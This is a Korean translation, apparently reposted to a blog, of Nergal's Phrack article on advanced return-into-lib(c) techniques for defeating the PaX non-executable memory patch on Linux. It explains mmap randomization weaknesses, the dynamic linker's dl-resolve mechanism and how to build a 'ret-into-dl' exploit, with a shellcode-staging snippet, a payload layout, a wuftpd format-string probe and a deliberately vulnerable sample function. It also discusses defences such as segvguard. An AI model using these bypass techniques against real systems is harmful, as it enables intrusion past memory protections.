"이 문서에서는 IA-32프로세서의 실행불가능한 페이지(역자주 : 스택 관리를 위해 스택을 페이지라고 부르는 정해진 크기의 묶음으로 나눈다.)의 가능성에 대해 논하고 있다.(유저모드에서 쓸 수 있고, 읽을 수 있지만 실행은 불가능한 페이지.) 프로세서의 기본 페이지 테이블이나 디렉터리 엔트리 형식에 기본적으로 그런 특징이 있는 것은 아니지만 실행 불가능한 페이지는 결코 하찮은 일이 아니다."

 

"[...] 버퍼오버플로우에 기초한 공격에 대해 방어를 할 수 있는 프로그램적인 방법을 제공하려고 한다. 그러기 위한 아이디어중 하나는 페이지를 오직 쓰고 읽을 수만 있도록 만들어서 페이지 내에서 코드를 실행할 기회를 없애는 것이다.[...]"

 

"[...] (커널모드에서) 코드를 슬 수 있는 가능성은 DTLB와 ITLB엔트리상태에서 다른 점을 유발할 수 있다.[...] 이 둘은 비슷하게 작동되어 다른 종류의 읽기, 쓰기권한만 주어진 상태를 만들어 낸다. (많은) 버퍼오버플로우 공격을 막기 위해 필요한 방법들이다."

 

종합하면 버퍼오버플로우 공격은 공격하는 프로세서에서 코드를 실행하기 하지만, PaX의 주된 기능은 이것을 막는 것이다. - 따라서 PaX에게 일반적인 기술은 소용이 없다.

 

--[ 4.2 - PaX and return-into-lib exploits (PaX와 return-into-lib 공격)

 

처음에는 실행불가능한 데이터 영역은 PaX의 유일한 기능이었다. 하지만, 이미 앞에서 본대로 이것은 return-into-lib공격을 막지는 못한다. 이러한 공격은 라이브러리 함수 내에서나 바이너리 스스로가 실행되어야 하는 곳에서 실행된다. 이미 3장에서 보았듯이 사용되는 기술은 여러개의 함수를 실행할 수 있어서 프로그램의 권한을 뺏을 수 있다.

 

더 심각한 것은, 다음 코드는 PaX보호 시스템에서도 잘 돌아 간다는 것이다.

 

char shellcode[] = "arbitrary code here";
    mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, 
                           MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset);
    strcpy(0xaa011000+1, shellcode);
    return into 0xaa011000+1;

간단히 설명하자면 이렇다. 우선 mmap을 호출하여 0xaa011000의 메모리 지역을 할당 받을 것이다. 이것은 어떠한 파일 오브젝트하고도 연관되어 있지 않고, MAP_ANON플래그와 파일 디스크립터를 -1로 놓는다. 그러면 PaX보호 시스템에서도 0xaa011000에 쉘코드를 넣어서 실행 시킬 수 있다.(mmap의 매개변수로 PROT_EXEC가 사용되었기 때문이다.)

 

그럼 이제 예제를 실행시켜 보자. 첨부된 vuln.c는 스택오버플로우를 발생시키는 간단한 프로그램이다.

 

$ gcc -o vuln-omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c

첨부된 ex-move.c와 ex-frames.c는 각각 vuln-omit과 vuln바이너리를 공격하기 위한 코드이다. 공격코드는 strcpy와 mmap함수를 호출한다. 좀 더 자세한 설명을 README에 적어 놓았다.

 

만약 이 공격들을 최근의 PaX보호 시스템에서 실행시킬려고 한다면 다음과 같이 mmap의 랜덤화를 꺼야 할 것이다.

 

$ chpax -r vuln; chpax -r vuln-omit

 

----[ 4.3 - PaX and mmap base randomization (PaX와 mmap base 랜덤화)

return-into-lib(c)기술에 대항하기 위해 PaX에 귀여운 기능이 추가되었다. 만약 (CONFIG_PAX_RANDMMAP)옵션이 커널 컴파일 할 때 추가되었다면 처음 로드되는 라이브러리는 랜덤된 위치에 mmap될 것이다.(그 다음의 것은 앞의 것 다음에 mmap된다,) 같은 원리가 스택에도 적용된다. 첫번때 라이브러리는 0x40000000+random*4k에 mmap되고, 스택의 top은 0xc0000000-random*16에 mmap될 것이다. 양쪽의 경우 모두 "random"은 get_random_bytes()를 호출하여 암호학적으로 강한 무작위성을 지닌 16비트의 부호없는 정수를 얻어낸다.

 

이것을 테스트 하는 방법은 두개의 서로 다른 쉘에서 "ldd some_binary"명령이나 "cat /proc/$$/maps"을 각각 실행하는 것이다. PaX에서는 두 개가 각각 다른 결과를 내놓는다.

 

nergal@behemoth 8 > ash
$ cat /proc/$$/maps
08048000-08058000 r-xp 00000000 03:45 77590      /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590      /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
4b150000-4b166000 r-xp 00000000 03:45 107760     /lib/ld-2.1.92.so
4b166000-4b167000 rw-p 00015000 03:45 107760     /lib/ld-2.1.92.so
4b167000-4b168000 rw-p 00000000 00:00 0
4b16e000-4b289000 r-xp 00000000 03:45 107767     /lib/libc-2.1.92.so
4b289000-4b28f000 rw-p 0011a000 03:45 107767     /lib/libc-2.1.92.so
4b28f000-4b293000 rw-p 00000000 00:00 0
bff78000-bff7b000 rw-p ffffe000 00:00 0
$ exit
nergal@behemoth 9 > ash
$ cat /proc/$$/maps
08048000-08058000 r-xp 00000000 03:45 77590      /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590      /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
48b07000-48b1d000 r-xp 00000000 03:45 107760     /lib/ld-2.1.92.so
48b1d000-48b1e000 rw-p 00015000 03:45 107760     /lib/ld-2.1.92.so
48b1e000-48b1f000 rw-p 00000000 00:00 0
48b25000-48c40000 r-xp 00000000 03:45 107767     /lib/libc-2.1.92.so
48c40000-48c46000 rw-p 0011a000 03:45 107767     /lib/libc-2.1.92.so
48c46000-48c4a000 rw-p 00000000 00:00 0
bff76000-bff79000 rw-p ffffe000 00:00 0

CONFIG_PAX_RANDMMAP옵션은 라이브러리 함수로 리턴하는 것을 어렵게 만든다. 특정 함수의 주소는 바이너리가 실행될 때 마다 달라질 것이다.

 

이 특징은 몇가지 명확한 취약점이 있다. 그 중 몇개는 고쳐질 수 있다.(또 고쳐져야 한다.)

 

1) 로컬공격의 경우 라이브러리와 스택이 mmap된 주소를 world-readable한 /proc/pid_of_attacked_process/maps pseudofile이 가질 수 있다. 버퍼의 오버플로우를 프로세서가 실행되고 조절이 가능하다면 공격자는 오버플로우 데이터를 만들이 위한 모든 정보를 알 수 있다. 예를 들어 만약 오버플로우 데이터가 프로그램의 매개변수나 환경변수로 필요하다면 로컬공격을 실패할 것이지만, I/O조작으로 들어간다면(파일이 주로 읽어오는 소켓이라 던가) 로컬공격을 성공할 것이다. 해법 : 다른 보안 패치들 처럼 /proc파일에 접근하는 것을 막는다.

 

2) mmap베이스에 대해 bruteforce공격을 할 수 있다. (6.1의 끝에서 보듯이)보통은 libc의 베이스는 충분히 예측 가능하다. 1000번중 몇십번은 공격자는 올바른 주소를 예측할 수 있다. 물론 실패한 기록은 로그에 남겠지만, 새벽 2시의 엄청난 로그는 어떤 것도 예방할 수 없다. :) 해법 : segvguard를 사용한다.[8] segvguard는 커널에 프로세서 SIGSEGV나 비슷한 것들로 인한 크레쉬를 알려주는 데몬이다. 그러면 일시적으로 그 프로그램의 실행이 중지될 것이고(bruteforce의 방지), 흥미롭게도 PaX없이도 충분히 쓸만하다.

 

3) 라이브러리와 스택의 주소가 포맷스트링 버그에 의해 노출 될 수 있다. 예를 들어 wuftpd의 경우 site exec [eat stack]%x.%x.%x... 라는 명령어로 공격할 수 있다. 스택의 주소를 담고 있는 변수들은 스택의 베이스를 노출시킬 것이다. 다이나믹 링커나 startup 루틴의 주소역시 스택의 포인터(또는 리턴어드레스)에 저장될 수 있으므로 라이브러리의 주소를 예측하는 것 역시 가능하다.

 

4) 때때로, 공격자는 공격하는 바이너리에서 공격을 쉽게 해 주는 함수를 찾을 수 있다.(위치에 상관없지가 않아서, 랜덤하게 mmap될 수가 없는) 예를들어, "su"는 루트의 권한으로 쉘을 띄우는 (인증을 완료한 뒤 호출되는)함수를 가지고 있다.

 

5) 모든 라이브러리 함수는 PLT엔트리를 경유하여 호출될 수 있다. 바이너리와 비슷하게 PLT는 고정된 주소에 위치하여야 한다. 취약한 프로그램은 보통 크고, 많은 함수를 호출하므로 PLT에서 적당한 함수를 찾을 수 있다.

 

위의 세가지는 고쳐질 수 없는 것이지만, 그 중 어떤 것도 성공적인 공격을 보장하지는 않는다.(4번째는 매우 드문 경우이다.) 좀 더 일반적인 방법이 필요하다.

 

다음에 오는 장에서 나는 다이나믹 링커늬 dl-resolv()함수의 인터페이스를 소개할 것이다. 만약 매개변수로 함수의 이름을 아스키코드로 제대로 넣어준다면 함수의 주소를 정확히 알려 줄 것이다. dlsym()과 비슷한 기능이다. dl-resolv()함수를 사용함으로써 공격 계획단계에서 주소가 알려지지 않은 함수로의 return-into-lib공격을 할 수 있다. [12]에서 소개하는 방법 역시 이름을 통하여 주소를 얻지만 소개된 기술은 우리의 목적에는 쓸모가 없다.

 

 

--[ 5 - The dynamic linker's dl-resolve() function (다이나믹 링커의 dl-resolv함수)

이 장에서는 최대한 간단하게 설명해 놓았다. 좀 더 자세한 설명을 원한다면 [9]나 dl-runtime.c를 보기 바란다. [12]역시 볼만하다.

 

----[ 5.1 - A few ELF data types (ELF 데이터 타입)

아래의 정의는 elf.h를 참고하였다.

 

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)               ((val) & 0xff)


typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

st_size와 st_info, st_shndx는 심볼 resolution할 동안은 쓰이지 않는다.

 

----[ 5.2 - A few ELF data structures (ELF 데이터 구조)

 

ELF 실행파일에는 우리에게 흥미로운 데이터 구조(주로 배열)이 있다. 이것들의 위치를 dynamic섹션에서 찾을 수 있다. "objdump -x file"이라고 피면 dynamic 섹션의 내용을 보여줄 것이다.

 

$ objdump -x some_executable      
... some other interesting stuff...
Dynamic Section:
...
  STRTAB      0x80484f8 the location of string table (type char *)
  SYMTAB      0x8048268 the location of symbol table (type Elf32_Sym*)
....
  JMPREL      0x8048750 the location of table of relocation entries
                        related to PLT (type Elf32_Rel*)
...
  VERSYM      0x80486a4 the location of array of version table indices
                        (type uint16_t*)

"objdump -x" 역시 아래와 같이 .plt섹션을 불러들일 것이다.


 11 .plt          00000230  08048894  08048894  00000894  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 

----[ 5.3 - How dl-resolve() is called from PLT (PLT에서 dl-resolve호출하기)

 

(포맷이 elf-i386일때 ) 전형적인 PLT 엔트리는 다음과 같다.

 

(gdb) disas some_func
Dump of assembler code for function some_func:
0x804xxx4 <some_func>:     jmp    *some_func_dyn_reloc_entry
0x804xxxa <some_func+6>:   push   $reloc_offset
0x804xxxf <some_func+11>:  jmp    beginning_of_.plt_section

PLT엔트리는 $reloc_offset값에 따라서만 바뀐다.(some_func_dyn_reloc_entry에 의해서도 바뀌나 이것은 심볼 resolution 알고리즘에서 쓰이지 않는다.)

 

위에서 알 수 있듯이 이것은 $reloc_offset을 스택에 밀어 넣고 .plt섹션의 시작으로 점프하는 코드이다. 몇개의 명령뒤에 dl-resolve()함수로 넘어간며, reloc_offset은 이 함수의 매개변수가 된다.(두번째 매개변수인 link_map *타입의 변수는 우리의 관심 밖이다.) dl-resolv알고리즘을 단순화 하여 아래에 적어 놓았다.

 

1) some_func의 relocation엔트리를 계산한다.

        Elf32_Rel * reloc = JMPREL + reloc_offset;

 

2) some_func의 symtab엔트리를 계산한다.

        Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];

 

3) sanity check 
         assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);

4) 2.1.x (2.1.92 for sure)이후의 버전은 다른 체크를 한다. 만약 sym->st_other & 3 != 0이라면, 심볼은 이미 resolve된 것으로 간주하고 알고리즘은 다른 방법을 택한다.(그리고 우리들의 경우에 아마도 SIGSEGV로 끝날 것이다.) 그러므로 먼저 sym->st_other & 3 == 0인지를 먼저 체크하여야 한다.

 

5) 만약 심볼 versioning이 가능하다면(보통 그러하다.), 버전테이블의 인덱스를

        uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ];

 

로 하고 다음과 같이 버전정보를 찾는다.

        const struct r_found_version *version =&l->l_versions[ndx];

 

여기서 l은 link_map parameter이다. 여기서 중요한 점은 ndx는 반드시 정상적인 값이어야 하고, 되도록이면 "local symbol을 뜻하는 0면 좋다.

 

6) 함수이름을 (아스키 코드값으로)결정한다.

        name = STRTAB + sym->st_name;

 

7) 이제 some_func의 주소를 알 수 있을 정도로 충분히 정보를 모았다. 결과값은 reloc->r_offset와 sym->st_name에 Elf_32 Addt타입으로 캐쉬된다.

 

8) 스택포인터가 조절되며 some_func이 호출된다.

 

glibc의 경우 이 알고리즘은 dl-runtime-resolve함수에 의해 호출된 fixup함수에 의해 수행된다.

 

----[ 5.4 - The conclusion

 

다음과 같은 payload로 스택버퍼오버플로우를 일으켰다고 해보자.

--------------------------------------------------------------------------
| buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...        
--------------------------------------------------------------------------
                         ^
                         |
                         - this int32 should overwrite saved return address
                           of a vulnerable function

 

만약 적당한 (각각 Elf32_Sym과 Elf32_Rel타입인) sym과 reloc변수가 준비되었다면 적당한 reloc_offset이 STRTAB + sym->st_name(물론 이것도 조절한다.)으로 찾아진 함수로 넘어가며 실행된다. arg1과 arg2가 적절한 위치에 위치할 것이고 또 다른 함수를 호출할 기회를 얻게 될 것이다.(ret_addr)

 

첨부된 dl-resolve.c파인을 기술을 구현해 놓은 샘프코드이다. 이것을 두번 컴파일 해야 됨 상기하여라.(README.code의 주석을 읽어라.)

 

 

--[ 6 - Defeating PaX (PaX 깨기)

----[ 6.1 - Requirements (필요조건)

5장에서 기술된 "ret-into-dl"을 가용하기 위해서는 몇몇 구조들을 적절한 위치에 위치시켜야 한다. 우선 정해진 위치로 몇바이트 정도 옮길 수 있는 함수가 필요하다. 앞에서 보인 예는 strcpt였다. strncpy또는 sprintf나 비슷한 것들 역시 가능하다. 따라서 [3]에서와 같이 공격하는 프로그램의 이미지의 PLT엔트리에 strcpy가 있어야 한다.

 


"ret-into-dl"는 랜덤스택의 문제를 해결할 수 있다. 하지만, 스택의 문제는 여전하다. 오버플로우의 payload가 스택에 위치한다면, 그것의 주소를 알 수 없을 것이고 0을 strcpy를 통해 넣을 수 없을 것이다.(3.3을 보아라) 불행히도 나는 일반적인 해법이 없다.(혹시 있는사람?) 두가지 방법이 가능하다.

 

1)만약 scanf()함수가PLT에서 가능하다면, 다음과 같이 고정된 주소로 payload를 넣는 것이 가능 할 것이다.

 

scanf("%s\n", fixed_location)

 

"fake frame"기술을 쓸때면 스택의 정확한 주소가 필요하기 때문에 fixed_location에 프레임을 넣을 필요가 있다.

 

2) 공격하는 바이너리가 -formit-frame-pointer옵션 으로 컴파일 되었다면 %esp값을 모르더라도 "esp lifting"방법으로 여러번의 strcpy를 사용할 수 있다.(3.2의 끝을 보아라) n번째의 strcpy는 다음과 같은 매개변수를 지닐 것이다.

 

strcpy(fixed_location+n, a_pointer_within_program_image)

 

이 방법은 한 바이트씩 fixed_location에 적절한 프레임을 만들 수 있다. 끝난 뒤에는 3.3의 끝에 소개된 방법으로 "esp lifting"에서 "fake frames"로 전환해야 한다.

 

위와 다른 비슷한 방법들을 구상할 수도 있지만 사실 필요하지는 않을 것이다. 작은 프로그램이라도 사용자가 원하는 값을 넣을 수 있는 고정된 주소나 malloc 변수가 존재할 것이며, 위에서 언급된 방법을 사용할 수 있을 것이다.

 

종합하자면 우리는 두가지 조건(꽤나 가능성 있는)이 필요하다.

 

6.1.1) strcpy(또는 strncpy, sprintf이나 비슷한 것)을 PLT를 경유하여 사용할 수 있어야 한다.

6.1.2) 일반적인 공격을 위해서 바이너리는 사용자가 제공해준 값을 고정되거나 malloc변수에 넣어야 한다.

 

----[ 6.2 - Building the exploit (exploit 제작하기)

dl-resolve.c 샘플코드에 원하는 코드를 넣을 수 있다. rwx메모리가 mmap으로 준비된다면(ret-into-dl을 위해 mmap을 호출할 것이다.) 우리는 그곳으로 쉘코드를 넣고 실행시킬 것이다. 우리는 -fomit-frame-pointer없이 컴파일 된 바이너리를 "frame faking"방법으로 공격하는 것에 대해 논할 것이다.

 

우선 관련된 세개의 structure를 적절한 위치에 놓아야 한다.

 

1) Elf32_Rel reloc
2) Elf32_Sym sym
3) unsigned short verind (which should be 0)
어떻게 verind의 주소와 sym이 연관되었는가?
"real_index"를 ELF32_R_SYM (reloc->r_info)의 값이라고 가정해 보자.

        sym         is at SYMTAB+real_index*sizeof(Elf32_Sym)
        verind      is at VERSYM+real_index*sizeof(short)

.data나 .bss섹션어딘가에 두번의 strcpy호출로 0이되어 있는것이 자연스럽겠다. 불행히고, 이런 경우에는 real_index가 더 커지는 경향이 있다. sizeof(ELF32_Sym)이 16으로 sizeof(short)보다 크므로 sym의 주소는 프로세서의 data공간에 있을것이라고 생각된다. 이것이 dl-resolve.c샘플코드에서 (비록 작기는 하지만) 천바리트중 몇십바이트(RQSIZE)를 allocate하는 이유이다.

 

MALLOC_TOP_PAD_환경변수를 조작하여 프로세서의 데이터 공간을 임의의 크기로 조절할 수 있지만. 그것은 로컬어택에서만 먹히는 방법이다. 대신에 좀 더 일반적인(그리고 비용이 적게드는) 방법을 택할 것이다. verind는 좀더 낮는 곳에 위치하게 되에 보통은 read-only지역에 mmap되게 되는데, 따라서 그 곳에서 null short를 찾아야 한다. exploit은 "sym" structure를 verind의 위치로 결정된 주소로 옮길 것이다.

 

그렇다면 null short를 찾기위해 어디를 봐야 하는가? 첫째로, 오버플로우가 일어났을 때(공격하는 프로그램이 crash되기 전에 /proc/pid/maps를 만들면서) 쓰기가능하게 mmap된 지역(프로그램의 data 역역)을 찾아야 한다. 말하자면 [low_addr, hi_addr]영역에 있는 주소이다. 우리는 그곳에 "sym" structure을 복사할 것이다. 그러면 간단한 산수를 통해 real_index는 [(low_addr-SYMTAB)/16, (hi_addr-SYMTAB)/16)]영역에 있어야 함을 알 수 있다. 따라서 우리는 [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]영역에서 null short를 찾아야 한다. 적당한 verind를 찾기 위해서는, 다음을 추가적으로 확인하여야 한다.

 

1) sym의 주소가 fake frame과 겹치지 않아야 한다.

2) sym의 주소가 외부링크데이터(strcpy의 GOT엔트리)를 덮지 않아야 한다.

3) 스택보인터가 고정된 데이터 영역으로 옮겨질 것을 상기하여라. dynamic linker과정동안 stack frame이 allocate될 충분한 공간이 잇어야 한다. 따라서 (필요는 없지만)최고의 "sym"자리는 fake frame뒤에이다.

 

도움이 될만한 말: "objdump -s"보다는 gdb로 적당한 null short를 찾는것이 더 나을 것이다. "objdump -s"는 .rodata섹션 이후를 보여주지 않는다.

 

첨부된 ex-pax.c파일은 pax.c샘플코드에 대한 공격코드이다. pax.c와 vuln.c가 유일하게 다른점은 pax.c는 또 다른 변수를 고정된 버퍼로 복사한다는 것이다.(따라서 6.1.2가 만족된다.)

 

--[ 7 - Misc


----[ 7.1 - Portability (이식성)

PaX가 리눅스를 위해 만들어졌기 때문에, 이 문서는 리눅스에 초점을 맞췄다. 하지만 소개된 기술은 OS에 비의존적이다. frame pointer, C 호출 규약, ELF의 특징 - 이 모든것들이 널리 쓰인다. 특별이 나는 dl-resolve.c를 Solaris i386와 FreeBSD에서 실행시키는 것을 성공했다. 정확히 말하면, mmap의 네번째 매개변수를 조작해야 한다.(BSD에서는 MAP_ANON이 다른갓인 것 같다.) 이 두 OS의 경우 dynamic linker는 심볼의 버전에 특징적이지 않아서 ret-into-dl이 더 쉽다.

 

----[ 7.2 - Other types of vulnerabilities (다른 타입의 취약프로그램)

 

모든 소개된 기술들은 버퍼오버플로우에 기초해 있다. 모든 return-into-somthing공격은 eip만을 움직이는 것이 아니라(리턴어드레서 뒤에) 스택의 꼭대기에 매개변수도 지정해 줄 수 있었다.

 

다른 종류의 두개의 취약프로그램을 생각해 보자. 하나는 malloc control structures corruption(역자주 : 아마도 힙 오버플로우인듯;;;)이고, 하나는 포맷스트링 공격일 것이다. 전자의 경우 적당한 위치에 적당한 정수를 덮어 쓸 수 있을 것이다. - 일반적으로 PaX를 우회하기에는 너무 작다. 후자의 경우 임의의 수의 바이트들을 고칠 수 있다. 만약 아무 함수나 저장된 %ebp와 %eip를 덮어쓸 수 있다면 더 필요한 것을 없을 것이다. 하지만 스택의 베이스는 랜덤화 되어 있기 때문에 어느 frame의 위치도 알 수 없다.

 

***

(잠시 새나가는 말 : 저장된 FP는 %hn에 대응되는 매개변수로 사용될 수 잇는 보인터이다. 하지만 성공적인 공격을 위해서는 함수를 세번 호출하여야 하고 사용자가 조절 가능한 64KB의 버퍼에 위치시켜야 한다.

***

 

나는 GOT엔트리를 바꾸는 것이(유일하게 %eip를 조절하는 방법이다.) PaX를 우회하는데 충분한 방법이 아니라는 것이 명백하다고 생각한다.

 

하지만 가능할법한 공격시나리오가 있다. 다음 세가지 조건을 가정해 보자.

 

1) 공격하는 바이너리는 -formit-frame-pointer옵션으로 컴파일 되었다.

2) 우리가 조절 가능한 스택버퍼를 allocate하는 함수 f1이 있다.

3) f1에 의해 호출되는(직접적으로 호출할 필요는 없다.) 함수 f2에는 포맷버그(또는 free()를 사용하지 않거나)가 있다.

 

샘플의 취약한 코드는 다음과 같다.

 

        void f2(char * buf)
        {
                printf(buf); // format bug here
                some_libc_function();
        }
        void f1(char * user_controlled)
        {
                char buf[1024];
                buf[0] = 0;
                strncat(buf, user_controlled, sizeof(buf)-1);
                f2(buf);
        }

f1이 호출되었다. f2의 포맷스트링 버그로 some_libc_function의 GOT엔트리를 바꿀 수 있으며 그것에는 다음과 같은 코드가 있어야 한다.

 

        addl $imm, %esp
        ret

 

람수의 에필로그이다. 이런 경우, some_libc_function가 호출될 때 "addl $imm, %esp" instruction 는 %esp를 조작할 것이다. 우리가 적당한 $imm을 선택한다면 %esp는 사용자가 조작 가능한 "buf"변수의 어딘가를 가르키게 될 것이다. 이렇게 된다면, 스택버퍼오버플로우와 같은 상황을 만들 수 있다. ret-into-dl등을 이용해 함수들을 연쇄적으로 호출할 수 있다.

 

다른 경우: 스택버퍼오버플로우가 1바이트에 일어날 때. 프레임 포인터의 중요한 바이트를 0으로 만들어 버릴 것이다. 두번째 함수가 리턴되면, 공격자는 모든 스택을 컨트롤 할 수 있는 기회를 가지게 되어 소개된 모든 기술을 사용할 수 있다.

 

----[ 7.3 - Other non-exec solutions (다른 non-exec 해법)

 

나는 다른 두가지 경우의 해법을 알고 있다. 바로 리눅스 i386에서 모든 data영역을 실행불가능하게 만드는 것이다. 첫번째는 RSX이다.[10] 하지만 이 솔루션은 스택이나 라이브러리의 베이스를 랜덤화하지 않기 때문에 3장에서 나왔던 방법으로 충분히 여러개의 함수를 호출할 수 있다.

 

임의의 코드를 실행시키고 싶다면 추가적인 노력을 해야 될 것이다. RSX에서는 쓰기가능한 메모리 영역에서 코드를 실행시킬 수 없기 때문에 mmap((...PROT_READ|PROT_WRITE|PROT_EXEC)방법이 소용없다. 하지만 non-exec scheme들은 반드시 공유라이브러리코드를 실행가능하도록 하여야 한다. RSX의 경우 쉘코드를 담고있는 파일을 mmap(...PROT_READ|PROT_EXEC) 할 수 있다. 리모트 공격의 경우 함수를 여러번 호출함으로써 제일 먼저 이런 파일을 만들 수 있다.

 

두번째 방법인 kNoX [11]는 RSX와 매우 비슷하다. 추가적인 기능은 모든 라이브러리 함수를 0x00110000에서 시작하게 만드는 것이다.(Solar의 패치와 비슷하다.) 3.4의 끝에서 언급하였듯이. 이 방어정책은 효율적이지 못하다.

 

----[ 7.4 - Improving existing non-exec schemes (현존하는 non-exec scheme 발전시키기)

 

다행히도(혹은 불행히도) 나는 PaX를 현존하는 기술을 막을 정도로 고칠 수 있는 방법을 모르겠다. 명백히 ELF표준은 공격자에게 유용한 특징이 많다. 틀림없이 소개된 몇몇 기술은 막힐 수 있다. 예를들어 PROT_EXEC가 있을 때 MAP_FIXED를 고려하지 않도록 커널을 패치하는 것이 가능하다. 현재의 기술을 막을 수는 있지만 공유라이브러리를 사용하는 것은 막지 못한다. 이 방법은 함수연쇄호출의 기술중 하나밖에 막지를 못한다.

 

한편으로는 PaX를 사용하는 것이(반드시 segvguard와 함께) 성공적인 공격을 어렵게 할 수 있고, 몇몇 경우에서는 불가능하게 할 수도 있다. 만약 PaX가 더 안정해 진다면 다른 수준의 방어처럼 간단해 질 것이다.

 

----[ 7.5 - The versions used (사용된 버전)

 

나는 샘플코드를 다음과 같은 패치환경에서 시험해 보았다.

 

pax-linux-2.4.16.patch
kNoX-2.2.20-pre6.tar.gz
rsx.tar.gz for kernel 2.4.5

vanilla 2.4.x kernel에서 코드를 테스트 해 보아도 좋다. 최적화를 위해서, 코드는 2.2.x에서는 실행되지 않을 것이다.

 

 

--[ 8 - Referenced publications and projects

[1] Aleph One
        the article in phrack 49 that everybody quotes
[2] Solar Designer
        "Getting around non-executable stack (and fix)"
        http://www.securityfocus.com/archive/1/7480
[3] Rafal Wojtczuk
        "Defeating Solar Designer non-executable stack patch"
        http://www.securityfocus.com/archive/1/8470
[4] John McDonald
        "Defeating Solaris/SPARC Non-Executable Stack Protection"
        http://www.securityfocus.com/archive/1/12734
[5] Tim Newsham
        "non-exec stack"
        http://www.securityfocus.com/archive/1/58864
[6] Gerardo Richarte, "Re: Future of buffer overflows ?"
        http://www.securityfocus.com/archive/1/142683
[7] PaX team
        PaX
        http://pageexec.virtualave.net
[8] segvguard
        ftp://ftp.pl.openwall.com/misc/segvguard/
[9] ELF specification
        http://fileformat.virtualave.net/programm/elf11g.zip
[10] Paul Starzetz
        Runtime addressSpace Extender
        http://www.ihaquer.com/software/rsx/
[11] Wojciech Purczynski
        kNoX
        http://cliph.linux.pl/knox
[12] grugq
        "Cheating the ELF"
        http://hcunix.7350.org/grugq/doc/subversiveld.pdf


<++> phrack-nergal/README.code !35fb8b53

                    The advanced return-into-lib(c) exploits:
                                PaX case study
                       Comments on the sample exploit code

                                   by Nergal

728x90

'bof' 카테고리의 다른 글

arm bof에 대한 문서  (0) 2011.02.11
bof 문서들  (0) 2010.07.22
noncompile shellcode  (0) 2010.07.22
RTL BOF : (Return To Library Buffer Over Flow)  (0) 2010.06.03
bof ppt 정리  (0) 2010.03.28